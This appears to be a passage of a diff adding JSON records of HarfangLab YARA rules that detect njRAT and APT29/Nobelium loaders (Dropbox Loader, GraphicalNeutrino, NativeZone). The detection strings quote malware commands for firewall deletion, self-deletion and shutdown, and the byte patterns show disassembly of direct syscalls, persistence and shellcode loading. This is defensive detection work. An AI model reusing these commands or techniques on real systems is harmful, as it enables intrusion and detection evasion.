+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583914Z",
+  "creation_date": "2026-03-23T11:46:25.583916Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583922Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://en.wikipedia.org/wiki/NjRAT\nhttps://www.checkpoint.com/cyber-hub/threat-prevention/what-is-malware/what-is-njrat-malware/\nhttps://isc.sans.edu/diary/Njrat+Campaign+Using+Microsoft+Dev+Tunnels/31724/"
+  ],
+  "name": "njrat_0bf99e5c7a1e.yar",
+  "content": "rule njrat_0bf99e5c7a1e {\n    meta:\n        title = \"njRAT (0bf99e5c7a1e)\"\n        id = \"eeef972d-cbf9-4e81-ac88-0bf99e5c7a1e\"\n        description = \"Detects njRAT, a commercial Remote Access Tool (RAT), also known as Bladabindi. This tool is used to remotely control computers through a reverse backdoor and has been widely used in malicious campaigns since 2012.\\nnjRAT provides attackers with various features including process enumeration, file manipulation, and network communication. The tool can establish persistence on infected systems and is known for its modular architecture that allows for different functionalities to be added as needed.\\nIt is recommended to analyze the samples in a controlled environment and to monitor for any unauthorized access or data exfiltration activities.\"\n        references = \"https://en.wikipedia.org/wiki/NjRAT\\nhttps://www.checkpoint.com/cyber-hub/threat-prevention/what-is-malware/what-is-njrat-malware/\\nhttps://isc.sans.edu/diary/Njrat+Campaign+Using+Microsoft+Dev+Tunnels/31724/\"\n        date = \"2025-03-13\"\n        modified = \"2025-05-09\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1010;attack.privilege_escalation;attack.defense_evasion;attack.t1548.002;attack.collection;attack.credential_access;attack.t1056.001;attack.command_and_control;attack.t1573.001\"\n        classification = \"Windows.Trojan.njRAT\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 0b0c8fb59db1c32ed9d435abb0f7e2e8c3365325d59b1f3feeba62b7dc0143ee\n        // 0e5f577fc2bd76fa5f1240ea68425ee979a034aa3b5b71cd7b1f910f2acef93c\n        // 454f6cd43c8d29947da959aad765ab999644b773622c0d9db95c21346de854b6\n        // d213bb87ba3fd77dbc8513b1398cec070df6b898c7813af3685f4c7546dd2b9d\n        // 0e5f577fc2bd76fa5f1240ea68425ee979a034aa3b5b71cd7b1f910f2acef93c\n\n        $s1 = \"shutdown -s -t 00\" wide fullword\n        $s2 = \"set CDAudio door open\" wide fullword\n        $s3 = \"taskkill /F /IM PING.EXE\" wide fullword\n        $s4 = \"netsh firewall delete allowedprogram \\\"\" wide fullword\n        $s5 = \"cmd.exe /k ping 0 & del \\\"\" wide fullword\n\n        $plugin = {\n            11 ??           // IL_0031: ldloc.s   V_4\n            11 ??           // IL_0033: ldloc.s   V_5\n            9A              // IL_0035: ldelem.ref\n            13 ??           // IL_0036: stloc.s   V_6\n            11 ??           // IL_0038: ldloc.s   V_6\n            6F [4]          // IL_003A: callvirt  instance string [mscorlib]System.Type::get_FullName()\n            72 [4]          // IL_003F: ldstr     \".\"\n            03              // IL_0044: ldarg.1\n            28 [4]          // IL_0045: call      string [mscorlib]System.String::Concat(string, string)\n            6F [4]          // IL_004A: callvirt  instance bool [mscorlib]System.String::EndsWith(string)\n            13 ??           // IL_004F: stloc.s   V_9\n            11 ??           // IL_0051: ldloc.s   V_9\n            2C ??           // IL_0053: brfalse.s IL_0\n            09              // IL_0055: ldloc.3\n            6F [4]          // IL_0056: callvirt  instance class [mscorlib]System.Reflection.Assembly [mscorlib]System.Reflection.Module::get_Assembly()\n            11 ??           // IL_005B: ldloc.s   V_6\n            6F [4]          // IL_005D: callvirt  instance string [mscorlib]System.Type::get_FullName()\n            6F [4]          // IL_0062: callvirt  instance object [mscorlib]System.Reflection.Assembly::CreateInstance(string)\n            0B              // IL_0067: stloc.1\n            2B ??           // IL_0068: br.s      IL_0\n            00              // IL_006A: nop\n            00              // IL_006B: nop\n            11 ??          // IL_006C: ldloc.s   V_5\n            17              // IL_006E: ldc.i4.1\n            D6              // IL_006F: add.ovf\n            13 ??           // IL_0070: stloc.s\n            11 ??           // IL_0072: ldloc.s   V_5\n            11 ??           // IL_0074: ldloc.s   V_8\n            13 ??           // IL_0076: stloc.s   V_10\n            11 ??           // IL_0078: ldloc.s   V_10\n            31              // IL_007A: ble.s     IL_0031\n        }\n\n    condition:\n        all of ($s*) or $plugin\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "njrat_0bf99e5c7a1e"
+  ],
+  "rule_creation_date": "2025-03-13",
+  "rule_modified_date": "2025-05-09",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.njRAT"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1010",
+    "attack.t1056.001",
+    "attack.t1548.002",
+    "attack.t1573.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-njrat_72cf47cf0332_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575000Z",
+  "creation_date": "2026-03-23T11:46:25.575002Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575008Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://en.wikipedia.org/wiki/NjRAT\nhttps://www.checkpoint.com/cyber-hub/threat-prevention/what-is-malware/what-is-njrat-malware/"
+  ],
+  "name": "njrat_72cf47cf0332.yar",
+  "content": "rule njrat_72cf47cf0332 {\n    meta:\n        title = \"njRAT (72cf47cf0332)\"\n        id = \"8bfc8014-5fcd-4ede-9188-72cf47cf0332\"\n        description = \"Detects njRAT, a commercial Remote Access Tool (RAT), also known as Bladabindi. This tool is used to remotely control computers through a reverse backdoor and has been widely used in malicious campaigns since 2012.\\nnjRAT provides attackers with various features including process enumeration, file manipulation, and network communication. The tool can establish persistence on infected systems and is known for its modular architecture that allows for different functionalities to be added as needed.\\nIt is recommended to analyze the samples in a controlled environment and to monitor for any unauthorized access or data exfiltration activities.\"\n        references = \"https://en.wikipedia.org/wiki/NjRAT\\nhttps://www.checkpoint.com/cyber-hub/threat-prevention/what-is-malware/what-is-njrat-malware/\"\n        date = \"2024-03-15\"\n        modified = \"2025-05-09\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1010;attack.privilege_escalation;attack.defense_evasion;attack.t1548.002;attack.collection;attack.credential_access;attack.t1056.001;attack.command_and_control;attack.t1573.001\"\n        classification = \"Windows.Trojan.njRAT\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $cmd_rat = \"cmd.exe /c ping 0 -n 2 & del \\\"\" wide fullword\n        $cmd_del = \"cmd.exe /C Y /N /D Y /T 1 & Del \\\"\" wide fullword\n\n        $nyan_cat = \"TllBTiBDQVQ=\" wide fullword // 'NYAN CAT' in b64 from \"fun module\"\n\n        $av1 = \"Select * From AntiVirusProduct\" wide fullword\n        $av2 = \"GetAntiVirus\" wide fullword\n        $av3 = \"No Antivirus\" wide fullword\n\n        $bysomeone1 = \"By Hassan Amiri\" ascii wide\n        $bysomeone2 = \"By Qasim Haxor\" ascii wide\n        $bysomeone3 = \"By Fransesco Ctraik\" ascii wide\n        $bysomeone4 = \"By HiDDen PerSOn\" ascii wide\n        $bysomeone5 = \"Viral - Rat By Sameed\" ascii wide\n        $bysomeone6 = \"By X-Slayer(Iheb Briki)\" ascii wide\n        $bysomeone7 = \"RAT - [ By LordF\" ascii wide\n        $bysomeone8 = \"By Th3 Exploiter\" ascii wide // not NjRAT but common exploit attached\n\n        $njrat1  = \"RAT.njRAT\" ascii wide\n        $njrat2  = \"Edition.NJRAT\" ascii wide\n        $njrat3  = \"NjRat-0.\" ascii wide\n        $njrat4  = \"NjRat 0.\" ascii wide\n        $njrat5  = \"njRAT v0.\" ascii wide\n        $njrat6  = \"NjRAT 0.\" ascii wide\n        $njrat7  = \"njRAT_0.\" ascii wide\n        $njrat8  = \"njRAT_v\" ascii wide\n        $njrat9  = \"NjRat Lime Edition\" ascii wide\n        $njrat10 = \"NjRat Ghost Edition\" ascii wide\n        $njrat11 = \"NJRAT 7\" ascii wide\n        $njrat12 = \"njwormcontrolcentre\" ascii wide\n        $njrat14 = \"njw0rm.My.Resources\" ascii wide\n        $njrat15 = \"RAT.NJRAT\" ascii wide\n        $njrat16 = \"RAT.njRAT\" ascii wide\n        $njrat17 = \"njRat v0.7d\" ascii wide\n        $njrat18 = \"LeGend Rat\" ascii wide\n        $njrat19 = \"Ant-njRAT\" ascii wide\n        $njrat20 = \"ZikuRAT VIP\" ascii wide\n\n        $canary = \"064541d2211e79384b76a1057b3fdb2c61b45b25a659aa5981dd3d54e9aa75d6\"\n\n    condition:\n        (\n            ($cmd_rat) or\n            (1 of ($cmd*) and (1 of ($nyan_cat*) or 1 of ($av*))) or\n            (for any of ($njrat*) : (# > 3)) or\n            (1 of ($bysomeone*))\n        )\n        and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "njrat_72cf47cf0332"
+  ],
+  "rule_creation_date": "2024-03-15",
+  "rule_modified_date": "2025-05-09",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.njRAT"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1010",
+    "attack.t1056.001",
+    "attack.t1548.002",
+    "attack.t1573.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nobelium_dropbox_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577885Z",
+  "creation_date": "2026-03-23T11:46:25.577887Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577893Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/APT29_C2-Client_Dropbox_Loader/APT29-DropboxLoader_analysis.md"
+  ],
+  "name": "nobelium_dropbox_loader.yar",
+  "content": "rule nobelium_dropbox_loader {\n    meta:\n        title = \"Nobelium Dropbox Loader\"\n        id = \"2962b71c-59e7-43a4-a6c9-d3d1bf042969\"\n        description = \"Detects the Nobelium Dropbox Loader.\\nNobelium is a sophisticated malware known for its advanced anti-debugging, anti-VM, and anti-antivirus techniques. It uses DLL hijacking and direct syscalls to load a malicious payload hosted on a Dropbox server. The malware employs various persistence mechanisms and is designed to evade detection while establishing command and control communication.\\nIt is recommended to dump the affected process and investigate network traffic for any suspicious communication with Dropbox servers.\"\n        references = \"https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/APT29_C2-Client_Dropbox_Loader/APT29-DropboxLoader_analysis.md\"\n        date = \"2022-05-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1622;attack.t1574;attack.t1497;attack.persistence;attack.t1547;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Loader.Dropbox\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 6618a8b55181b1309dc897d57f9c7264e0c07398615a46c2d901dd1aa6b9a6d6\n        // 6fc54151607a82d5f4fae661ef0b7b0767d325f5935ed6139f8932bc27309202\n        // 23a09b74498aea166470ea2b569d42fd661c440f3f3014636879bd012600ed68\n\n        $filename1 = \"AcroSup.dll\" ascii fullword\n        $filename2 = \"AcroSup64.dll\" wide fullword\n        $filename3 = \"AcroSup.dll\" wide fullword\n        $filename4 = \"AcroSup\" wide fullword\n        $filename5 = \"vcruntime140.dll\" ascii fullword\n        $filename6 = \"NV.exe\" ascii fullword\n        $filename7 = \"blank.pdf\" ascii\n\n        $direct_syscall = {\n            B9 56 D2 A8 B4  // mov     ecx, 0B4A8D256h <-- hash of NtCreateThreadEx syscall number\n            E8 ?? ?? ?? ??  // call    get_syscall_number\n            48 83 C4 28     // add     rsp, 28h\n            48 8B 4C 24 ??  // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 ??  // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 ??  // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 ??  // mov     r9, [rsp+arg_18]\n            4C 8B D1        // mov     r10, rcx\n            0F 05           // syscall                 ; Low latency system cal\n        }\n\n        $registry_persistence = {\n            48 8D 44 24 50        // lea     rax, [rsp+650h+phkResult]\n            41 B9 06 00 02 00     // mov     r9d, 20006h     ; samDesired\n            ?? ?? ??              // xor     r8d, r8d        ; ulOptions\n            48 89 44 24 20        // mov     [rsp+650h+pszPath], rax ; phkResult\n            49 8B D2              // mov     rdx, r10        ; lpSubKey\n            48 C7 C1 01 00 00 80  // mov     rcx, 0FFFFFFFF80000001h ; hKey\n            FF 15 ?? ?? ?? ??     // call    cs:RegOpenKeyExA\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 300KB and 4 of ($filename*) and $direct_syscall and $registry_persistence\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nobelium_dropbox_loader"
+  ],
+  "rule_creation_date": "2022-05-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.Dropbox"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1497",
+    "attack.t1071.001",
+    "attack.t1547",
+    "attack.t1574",
+    "attack.t1622"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nobelium_graphicalneutrino_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583457Z",
+  "creation_date": "2026-03-23T11:46:25.583459Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583464Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://go.recordedfuture.com/hubfs/reports/cta-2023-0127.pdf"
+  ],
+  "name": "nobelium_graphicalneutrino.yar",
+  "content": "rule nobelium_graphicalneutrino {\n    meta:\n        title = \"Nobelium GraphicalNeutrino\"\n        id = \"c0f4a0b8-69a9-4070-b038-8d728755e3bf\"\n        description = \"Detects the Nobelium GraphicalNeutrino, a malicious DLL that functions as a loader with basic command-and-control (C2) capabilities.\\nThis DLL implements a variety of anti-analysis techniques to evade detection, including API unhooking, dynamic API resolution, string encryption, and sandbox evasion. These techniques allow the malware to maintain persistence and avoid analysis by security tools.\\nIt is recommended to analyze it in a controlled environment to identify and remove any malicious components.\"\n        references = \"https://go.recordedfuture.com/hubfs/reports/cta-2023-0127.pdf\"\n        date = \"2023-03-07\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1204.002;attack.defense_evasion;attack.t1027.006;attack.t1027.007;attack.t1562.001;attack.command_and_control;attack.t1071.001;attack.t1102.002\"\n        classification = \"Windows.Malware.GraphicalNeutrino\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 1cffaf3be725d1514c87c328ca578d5df1a86ea3b488e9586f9db89d992da5c4\n        // 381a3c6c7e119f58dfde6f03a9890353a20badfa1bfa7c38ede62c6b0692103c\n        // e957326b2167fa7ccd508cbf531779a28bfce75eb2635ab81826a522979aeb98\n\n        $decrypt_string = {\n            48 89 C8                      // mov     rax, rcx\n            31 D2                         // xor     edx, edx\n            4C 8B ?? ?? ??                // mov     r9, [rsp+578h+var_528]\n            48 F7 ?? ?? ??                // div     [rsp+578h+var_520]\n            49 8B 45 ??                   // mov     rax, [r13+0]\n            41 8A 14 11                   // mov     dl, [r9+rdx]\n            32 54 08 ??                   // xor     dl, [rax+rcx+10h]\n            89 C8                         // mov     eax, ecx\n            41 0F AF C0                   // imul    eax, r8d\n            31 C2                         // xor     edx, eax\n            88 14 0B                      // mov     [rbx+rcx], dl\n            48 FF C1                      // inc     rcx\n            EB ??                         // jmp     short loc_6BB81DC8\n        }\n\n        $user_agent = {\n            48 8D ?? ?? ?? ?? 00          // lea     rsi, szAgent\n            8A 05 ?? ?? ?? 00             // mov     al, cs:byte_6BBC3940\n            84 C0                         // test    al, al\n            75 ??                         // jnz     short loc_6BB81979\n            48 8D ?? ?? ?? ?? 00          // lea     rcx, byte_6BBC3940\n            E8 ?? ?? ?? 00                // call    sub_6BBB2210\n            85 C0                         // test    eax, eax\n            74 ??                         // jz      short loc_6BB81979\n            C6 05 ?? ?? ?? 00 01          // mov     cs:byte_6BBC39CE, 1\n            31 C0                         // xor     eax, eax\n\n                                            // loc_6BB81951:\n            8A 54 05 00                   // mov     dl, [rbp+rax+0]\n            88 14 06                      // mov     [rsi+rax], dl\n            48 FF C0                      // inc     rax\n            48 83 F8 ??                   // cmp     rax, 6Eh ; 'n'\n            75 ??                         // jnz     short loc_6BB81951\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nobelium_graphicalneutrino"
+  ],
+  "rule_creation_date": "2023-03-07",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.GraphicalNeutrino"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.007",
+    "attack.t1071.001",
+    "attack.t1027.006",
+    "attack.t1562.001",
+    "attack.t1102.002",
+    "attack.t1204.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nobelium_nativezone_0e9f286c92dc_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583428Z",
+  "creation_date": "2026-03-23T11:46:25.583430Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583436Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0637/"
+  ],
+  "name": "nobelium_nativezone_0e9f286c92dc.yar",
+  "content": "rule nobelium_nativezone_0e9f286c92dc {\n    meta:\n        title = \"Nobelium NativeZone (0e9f286c92dc)\"\n        id = \"caedf7d0-3540-4cde-9ad9-0e9f286c92dc\"\n        description = \"Detects the Nobelium NativeZone x86 payload.\\nNativeZone is the name given to Cobalt Strike loaders used by APT29 since at least 2021.\\nThis payload uses VirtualAlloc and VirtualProtect to decode and execute the next stage payload.\\nIt is recommended to isolate the affected system and monitor network traffic for suspicious activity.\"\n        references = \"https://attack.mitre.org/software/S0637/\"\n        date = \"2021-06-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.g0016;attack.s0637;attack.t1027.001;attack.t1027.002\"\n        classification = \"Windows.Malware.NativeZone\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // This payload use those APIs to load the decoded payload\n        $api_used_s1 = \"VirtualAlloc\" ascii\n        $api_used_s2 = \"CreateThreadpoolWait\" ascii\n        $api_used_s3 = \"SetThreadpoolWait\" ascii\n\n        // The decryption algorithm used to decoded Cobalt Strike.\n        $nobelium_nativezone_decode_next_payload = {\n            8B C6                  // mov eax, esi\n            83 E0 1F               // and eax, 0x1f\n            [0-5]                  // NOTE: there is some random instruction noise here if build with -O0 because of unused stuffs, skip it.\n            8A 4? ?5 ??            // mov al, byte ptr [ebp + register Y + optional imediate]\n            32 86 ?? ?? ?? ??      // xor al, byte ptr [esi + 0xXXXXXXXX]\n            88 84 35 ?? ?? ?? ??   // mov byte ptr [ebp + esi + 0xXXXXXXXX], al\n            [0-5]                  // NOTE: there is some random instruction noise here if build with -O0 because of unused stuffs, skip it.\n            46                     // inc esi\n            83 C4 04               // add esp, 4\n            81 FE ?? ?? ?? ??      // cmp esi, 0xXXXXXXXX // payload size\n            7C ??                  // jl 0xXX\n            6A 40                  // push 0x40             // PAGE_EXECUTE_READWRITE\n            68 00 10 00 00         // push 0x1000           // MEM_COMMIT\n            68 ?? ?? ?? ??         // push 0xXXXXXXXX       // payload size\n            6A 00                  // push 0                // lpAddress\n            FF 15 ?? ?? ?? ??      // call dword ptr [0xXX] // VirtualAlloc\n            8B F0                  // mov esi, eax\n            8D 85 ?? ?? ?? ??      // lea eax, [ebp + 0xXXXXXXXX]\n            68 ?? ?? ?? ??         // push 0xXXXXXXXX       // payload size\n            50                     // push eax              // decoded_payload_address\n            56                     // push esi              // virtual_alloc_address\n            E8 ?? ?? ?? ??         // call 0xXXXXXXXX       // memmove\n            83 C4 0C               // add esp, 0xc\n            6A 00                  // push 0                // pcbe\n            6A 00                  // push 0                // pv\n            56                     // push esi              // pfnwa\n            FF 15 ?? ?? ?? ??      // call dword ptr [0xXX] // CreateThreadpoolWait\n            6A 00                  // push 0                // pftTimeout\n            57                     // push edi              // handle\n            50                     // push eax              // pwa\n            FF 15 ?? ?? ?? ??      // call dword ptr [0xXX] // SetThreadpoolWait\n        }\n\n    condition:\n        filesize < 2MB and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nobelium_nativezone_0e9f286c92dc"
+  ],
+  "rule_creation_date": "2021-06-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.NativeZone"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1027.002",
+    "attack.t1027.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nobelium_nativezone_5b820e216090_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569111Z",
+  "creation_date": "2026-03-23T11:46:25.569113Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569126Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0637/"
+  ],
+  "name": "nobelium_nativezone_5b820e216090.yar",
+  "content": "rule nobelium_nativezone_5b820e216090 {\n    meta:\n        title = \"Nobelium NativeZone\"\n        id = \"4056699f-370a-4b2e-b245-5b820e216090\"\n        description = \"Detects the Nobelium NativeZone x86 payload.\\nNativeZone is the name given to Cobalt Strike loaders used by APT29 since at least 2021.\\nThis payload uses VirtualAlloc and VirtualProtect to decode and execute the next stage payload.\\nIt is recommended to isolate the affected system and monitor network traffic for suspicious activity.\"\n        references = \"https://attack.mitre.org/software/S0637/\"\n        date = \"2021-06-07\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.g0016;attack.s0637;attack.t1027.001;attack.t1027.002\"\n        classification = \"Windows.Malware.NativeZone\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // This payload use those APIs to execute handle execution of next stage\n        $api_used_s1 = \"SHGetFolderPathW\" ascii\n        $api_used_s2 = \"GetFileAttributesA\" ascii\n        $api_used_s3 = \"CreateProcessA\" ascii\n\n        // Clear strings present in the binary\n        $clear_s1 = \"\\\\SystemCertificates\\\\Lib\\\\CertPKIProvider.dll\" ascii\n        $clear_s2 = \"rundll32.exe %s %s\" ascii\n        $clear_s3 = \"eglGetConfigs\" ascii\n        $clear_s4 = \"_configNativeCache\" ascii\n\n    condition:\n        filesize < 100KB and all of ($api_used_s*) and all of ($clear_s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
